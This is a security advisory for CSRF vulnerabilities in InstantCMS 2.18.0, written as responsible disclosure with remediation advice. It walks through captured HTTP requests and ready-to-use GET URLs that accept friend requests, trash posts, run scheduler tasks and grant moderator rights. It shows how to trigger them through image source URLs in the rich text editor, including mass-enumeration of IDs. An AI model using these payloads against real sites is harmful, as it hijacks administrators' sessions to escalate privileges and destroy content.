| Type | software |
| Product Environment | web |
| Product Name | InstantCMS |
| Product Vendor | InstantSoft |
| Product Version | 2.18.0 |
| Product Link | https://instantcms.ru/ |
| Vulnerability Name | Cross-Site Request Forgery |
| Severity | High |
|
CVSS String
|
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N |
| CVSS Score | 7.1 |
| CVE ID | CVE-2026-28281 |
| Vendor Acknowledgement | Yes |
|
Affected digital Assets
|
475728 |
|
Affected Users
|
4757280 |
| Date of Reporting | 2026-01-27 |
| PoC Exploit | https://github.com/instantsoft/icms2/security/advisories/GHSA-pp43-262q-h73m |
| Credit | 0xhamy |
Multiple CSRF vulnerabilities was identified on InstantCMS. There are some endpoints within Instant CMS that have CSRF tokens, there are some that don't, there are plenty of endpoints where converting a POST request to a GET request works which makes it super easy to perform attacks against unsuspecting users. These attack can lead to performing unauthorized actions like granting privileges to arbitrary users, executing backend tasks and moving posts to trash.
I'd like to show you various endpoints and functionalities within the site that can be used to exploit these CSRF vulnerabilities.
The number one place where it's super unsuspecting to insert a URL that's going to be automatically triggered on page load is either:
All of these functionalities allow usage of a rich text editor like the following:
From here, click on image icon and enter a source URL, you can get one for testing from webhook.site; and then just click send to post it. Now every-time the page gets loaded, a GET request is sent to:
https://webhook.site/XXXXXXXXXXX
This behavior while intentional can be used to trigger CSRF attacks due to lack of CSRF tokens for making sensitive requests and also because those requests can be converted from POST to GET.
If those requests were just POST requests, we couldn't exploit them even with no CSRF token, it would require a XSS/HTML injection vulnerability or something else to trigger a POST request.
Follow along to see four counts of CSRF vulnerabilities affecting InstantCMS.
When you send a friend request to another user, they have to accept it. The process of accepting a friend request requires two accounts, one for sending the request to another user and the other for accepting it.
During my test, I created an account to send friend request to administrator. Open admin's profile page from your newly created user account:
http://172.26.0.3/users/1
Click on "Actions" button, it opens a dropdown and choose "Add to Friends", a popup asks you for confirmation and click "Confirm" button. Now login as administrator and check notifications:
Use a proxy like BurpSuite with your browser to capture requests, turn on the proxy and then click on "Accept" button and capture the request:
POST /messages/notice_action HTTP/1.1
Host: 172.26.0.3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Origin: http://172.26.0.3
Connection: keep-alive
Referer: http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html
Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Priority: u=0
notice_id=5&action_name=accept
As you can see this POST request does not require a CSRF token and it can be converted to a GET request:
GET /messages/notice_action?notice_id=5&action_name=accept HTTP/1.1
Host: 172.26.0.3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://172.26.0.3 Connection: keep-alive
Referer: http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html
Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Priority: u=0
A GET request can also be copied into a URL like this:
http://172.26.0.3/messages/notice_action?notice_id=5&action_name=accept
This URL can easily be triggered using the aforementioned rich text editor. The notice_id parameter must be guessed but it's fairly easy to guess it because it's a number that keeps increasing as more friend requests are sent.
For example if you decline this friend request as administrator, login to the other user's account and send another friend request, login back to administrator and click "Accept" and capture the request, the notice_id increases by 1 and becomes 6.
Another thing to understand is that an attacker can simply use the rich text editor to insert more than 100 images each with Source URL containing a unique notice_id and when the victim visits the web page, all GET requests get triggered.
Admins have the permission to move anyone's post into the trash. While deleting posts require a CSRF token, moving a post into trash does not.
Login as administrator and open a post, if you are using the demo version of Instant CMS, you probably have access to the following post:
http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html
If not, create a post.
Click on "Actions" and a dropdown will appear, click on "Move to trash", a JavaScript alert box shows up asking "Are you sure you want to delete post?", click "Yes" and capture the request:
GET /posts/trash_put/5 HTTP/1.1 Host: 172.26.0.3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Upgrade-Insecure-Requests: 1 Priority: u=0, i
This is a GET request that doesn't require a CSRF token at all. The GET URL to trigger this action is as follows:
http://172.26.0.3/posts/trash_put/5
The endpoint takes a POST ID which in Instant CMS can easily be figured out, have a look at these post URLs for example:
http://172.26.0.3/articles/10-mythological-recipient.html http://172.26.0.3/articles/11-public-review-of-international-experience.html http://172.26.0.3/articles/4-undersaturated-diamond-preconditions-and-development.html http://172.26.0.3/articles/1-elliptical-perigee-in-the-xxi-century.html
Those numbers at the beginning of the slug after /articles/ is the post's ID, that can be used to move any post to trash on admin's behalf using the rich text editor.
An attacker can easily abuse this to enumerate all posts and their IDs from the CMS and then insert 100 images containing Source URLs like this:
http://172.26.0.3/posts/trash_put/1 http://172.26.0.3/posts/trash_put/2 http://172.26.0.3/posts/trash_put/3 ... ... ... http://172.26.0.3/posts/trash_put/100
And as a result, they can move hundreds of posts to the trash on admin's behalf.
Login to the CMS as administrator and navigate to the following endpoint:
http://172.26.0.3/admin/settings/scheduler
Inside schedulers table, look for a triangle icon under actions column, turn on BurpSuite's proxy interception and click on any task's triangle to run it; you will get a request like this:
GET /admin/settings/scheduler/run/4 HTTP/1.1 Host: 172.26.0.3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://172.26.0.3/admin/settings/scheduler Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Upgrade-Insecure-Requests: 1 Priority: u=0, i
Copying this as URL produces the following:
http://172.26.0.3/admin/settings/scheduler/run/4
Task scheduler takes a task ID but that's easily guessable, by default the demo instant CMS site has over 10 tasks, they can easily be triggered through rich text editor's intended functionality of image load by source URL.
Login as administrator and open the following endpoint:
http://172.26.0.3/admin/ctypes
Look for key icon under "Actions" table and click it, here permissions shows up:
Click on "Moderators" tab to open it:
Here you can enter the email address of a user to assign them as a moderator. Enter email address of an existing user within the CMS, turn on BurpSuite proxy and click on "New" button to capture the request:
POST /admin/ctypes/moderators/10/add HTTP/1.1 Host: 172.26.0.3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 22 Origin: http://172.26.0.3 Connection: keep-alive Referer: http://172.26.0.3/admin/ctypes/moderators/10 Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Priority: u=0
name=user1%40gmail.com
Convert the request to GET and copy it as a URL and you get something like this: http://172.26.0.3/admin/ctypes/moderators/10/add?name=user1%40gmail.com
This action also doesn't require a CSRF token and can easily be triggered by an attacker using the rich text editor functionality to grant moderation privileges to any user on an admin's behalf which is a pretty sensitive action.
Require CSRF tokens on all sensitive actions: All state-changing endpoints should validate a CSRF token to ensure requests originate from legitimate user interactions.
Disallow state-changing actions via GET requests: Actions that modify data should only be accessible through POST/PUT/PATCH/DELETE and the server should reject equivalent GET requests.
Validate request origin: Check the Origin and/or Referer headers for authenticated requests to ensure they come from the same application domain.
Harden user-generated content handling: Restrict or sanitize external resources in rich text content (e.g., images) to prevent automatic triggering of sensitive endpoints.